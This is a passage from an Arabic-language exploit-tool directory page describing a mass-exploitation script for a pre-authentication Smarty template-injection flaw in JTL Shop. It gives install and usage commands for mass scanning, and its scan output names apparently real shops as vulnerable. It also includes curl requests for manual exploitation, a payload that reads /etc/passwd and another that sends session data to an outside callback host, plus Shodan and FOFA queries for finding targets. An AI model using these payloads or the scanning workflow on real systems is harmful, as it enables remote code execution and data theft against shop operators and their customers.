Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-54390 — CVE-2026-54390 — JTL Shop Smarty SSTI RCE | حقن قالب قبل المصادقة عبر fetch('string:' . ) | 5.2.0-5.7.1 | Kitploit
أدوات/GitHubGitHub/shinthink/cve-2026-54390
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubshinthink/cve-2026-54390

CVE-2026-54390

CVE-2026-54390 — JTL Shop Smarty SSTI RCE | حقن قالب قبل المصادقة عبر fetch('string:' . ) | 5.2.0-5.7.1

عرض المستودع
منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-54390 — استغلال جماعي لثغرة Smarty SSTI في JTL Shop

نموذج اتصال قبل المصادقة ← موضوع البريد ← fetch('string:') ← تنفيذ أوامر عن بُعد


نظرة عامة

CVE-2026-54390 هي ثغرة حرجة (CVSS 9.8) بحقن قوالب من جهة الخادم (SSTI) بدون مصادقة في JTL Shop 5.2.0–5.7.1.

تقوم طريقة SmartyRenderer::renderTemplate() بتمرير أسطر موضوع البريد الإلكتروني إلى $smarty->fetch('string:' . $subject) — مما يجعلها تُعرض كقوالب Smarty. تصل حقول نموذج الاتصال من المستخدم إلى موضوع البريد عبر تحليل #var# في parseSubject()، ثم يُعاد تقييمها بواسطة fetch().

تعمل Text::filterXSS() على إزالة وسوم HTML فقط — وتمرر { و} دون حذف. تتضمن معدّلات Smarty المسجلة file_get_contents وunserialize.

الإصدارات المتأثرة

JTL Shopالحالة
< 5.2.0غير متأثر
5.2.0 – 5.3.xمعرّض (سرقة بيانات الاعتماد)
5.4.0 – 5.7.1معرّض (تنفيذ أوامر كامل عن بُعد)
5.5.4 / 5.6.2 / 5.7.2+تم التصحيح

آلية الثغرة

السبب الجذري

root@kitploit:~
// includes/src/Mail/Renderer/SmartyRenderer.php line 63
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
//                       ^^^^^^^^^^^^^^^^^^^^^
//                     Email subject rendered as Smarty template

تسلسل الهجوم

root@kitploit:~
1. User fills contact form → name/email/message → filterXSS()
2. filterXSS only strips HTML — {system()} passes through
3. Email subject template: "Neue Anfrage von #Kunde.vorname#"
4. parseSubject() resolves #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → EXECUTES
6. Email sent with subject: "Neue Anfrage von uid=33(www-data)..."

معدّلات Smarty المسجلة

root@kitploit:~
// PluginCollection.php — available for RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'

التثبيت

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt

الاستخدام

root@kitploit:~
# Single target
python cve_2026_54390.py -t target.com

# Mass scan
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt

# SSTI probe via contact form
python cve_2026_54390.py -t target.com --exploit --debug

الوسائط

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save vulnerable targets
  --threads         Workers (default: 20)
  --exploit         Submit SSTI probe via contact form
  --debug           Show every HTTP request
  -v, --verbose     Detailed output

إثبات المفهوم

الاكتشاف

root@kitploit:~
$ python cve_2026_54390.py -t jtl-shop.de --debug
root@kitploit:~
  JTL Shop Smarty SSTI | CVE-2026-54390

  [jtl-shop.de] JTL Shop v5.7.0
  [jtl-shop.de] [+] JTL Shop v5.7.0
  [jtl-shop.de] contact form: /Kontakt | subjects:5

  Host       : jtl-shop.de
  JTL Shop   : YES v5.7.0
  Contact    : YES
  Form path  : /Kontakt
  Subjects   : 5 available

الفحص الجماعي

root@kitploit:~
  [!] business.trustedshops.ch   1.6s  v5.5.2  form:/Kontakt
  [!] bmg-moebel.de              5.3s  v5.7.0  form:/Kontakt
  [100/5600] 1%  |  JTL:23  Vuln:12

الاستغلال اليدوي

الخطوة 1 — العثور على نموذج الاتصال والرمز المميّز

root@kitploit:~
curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'

الخطوة 2 — إرسال اختبار SSTI

root@kitploit:~
curl -sk -X POST 'https://target.com/Kontakt' \
  -d 'kontakt=1' -d 'subject=1' \
  -d 'nachricht={7*7}' \
  -d 'vorname={7*7}' \
  -d 'nachname={7*7}' \
  -d '[email protected]'

الخطوة 3 — قراءة الملفات

root@kitploit:~
{{"/etc/passwd"|file_get_contents}}

الخطوة 4 — تسريب البيانات خارج النطاق (OOB)

root@kitploit:~
{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}

FOFA / Shodan

root@kitploit:~
FOFA:   body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"

إخلاء مسؤولية

لأغراض التعليم والاختبار المصرّح به فقط. لا يتحمل المؤلفون أي مسؤولية عن سوء الاستخدام.


المراجع


غير مرتبط بـ JTL-Software أو Sansec.

تنزيل الأداة
المرجع
الرابط
Sansec Researchsansec.io/research/jtl-shop-ssti-rce
IONIX Advisoryionix.io/threat-center/cve-2026-54390
JTL Forumforum.jtl-software.de
NVDCVE-2026-54390